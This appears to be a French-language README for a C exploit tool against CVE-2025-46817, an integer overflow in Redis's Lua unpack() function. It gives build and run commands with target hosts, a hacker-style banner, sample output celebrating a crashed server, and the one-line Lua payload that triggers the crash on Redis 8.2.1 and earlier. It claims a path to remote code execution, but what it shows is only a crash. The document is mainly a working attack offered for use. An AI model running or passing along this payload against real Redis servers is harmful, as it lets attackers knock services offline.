
Exploit en C pour CVE-2025-46817, une vulnérabilité de dépassement d'entier dans Redis, permettant la détection de crash et une potentielle exécution de code à distance (RCE) via une charge utile Lua unpack().
Une implémentation légère en C de l'exploit CVE-2025-46817 pour la vulnérabilité de débordement d'entier dans Redis.
sudo apt-get update
sudo apt-get install build-essential libhiredis-dev
sudo yum install gcc hiredis-devel
brew install hiredis
gcc -o exploit exploit.c -lhiredis
./exploit -H 127.0.0.1 -P 6379
./exploit -H 192.168.1.100 -P 6379 -t 5
-H <hôte> Hôte du serveur Redis (obligatoire)
-P <port> Port du serveur Redis (obligatoire)
-t <délai> Délai de connexion en secondes (défaut : 10)
-h Afficher le message d'aide
██▓███ █ █░███▄ █ ▄▄▄▄ █ ██ █████▒ █████▒▓█████ ██▀███
▓██░ ██▒▓█░ █ ░█░██ ▀█ █ ▓█████▄ ██ ▓██▒▓██ ▒▓██ ▒ ▓█ ▀ ▓██ ▒ ██▒
▓██░ ██▓▒▒█░ █ ░█▓██ ▀█ ██▒▒██▒ ▄██▓██ ▒██░▒████ ░▒████ ░ ▒███ ▓██ ░▄█ ▒
▒██▄█▓▒ ▒░█░ █ ░█▓██▒ ▐▌██▒▒██░█▀ ▓▓█ ░██░░▓█▒ ░░▓█▒ ░ ▒▓█ ▄ ▒██▀▀█▄
▒██▒ ░ ░░░██▒██▓▒██░ ▓██░░▓█ ▀█▓▒▒█████▓ ░▒█░ ░▒█░ ░▒████▒░██▓ ▒██▒
▒▓▒░ ░ ░░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ░▒▓███▀▒░▒▓▒ ▒ ▒ ▒ ░ ▒ ░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░▒ ░ ▒ ░ ░ ░ ░░ ░ ▒░▒░▒ ░ ░░▒░ ░ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░
░░ ░ ░ ░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░
░
Outil d'exploitation CVE-2025-46817
Débordement d'entier -> Chaîne RCE
Accès -> https://pwnbuffer.org/
Auteur : Slayerkkk
Cible : Redis <= 8.2.1
Type : Corruption mémoire -> Exécution de code
ℹ️ Test de connexion à 127.0.0.1:6379...
✅ Connexion réussie
ℹ️ Version de Redis : 8.2.1
❌ VULNÉRABLE - Version <= 8.2.1
ℹ️ Test du scripting Lua...
✅ Lua activé (1+1=2)
🚀 DÉBUT DE L'EXPLOITATION
==================================================
💀 Exécution de la charge utile d'exploitation...
Charge utile : Débordement d'entier via unpack()
💥 SERVEUR PLANTÉ - Connexion perdue !
📊 RÉSULTAT DE L'EXPLOITATION
==============================
💥 Statut : planté (2.34s)
💀 EXPLOITATION RÉUSSIE - Le serveur a planté !
Vulnérabilité CVE-2025-46817 confirmée
L'exploit cible un débordement d'entier dans l'implémentation de la fonction Lua unpack() de Redis (luaB_unpack). Lorsqu'elle est appelée avec des paramètres spécifiques, l'arithmétique sur les entiers signés déborde, ce qui amène Redis à tenter de matérialiser un nombre énorme de valeurs de retour.
local data = {1, 2, 3}
return {unpack(data, -2147483648, 2147483647)}
L'outil rapporte l'un de ces statuts :
Auteur : Slayerkkk
Site web : https://pwnbuffer.org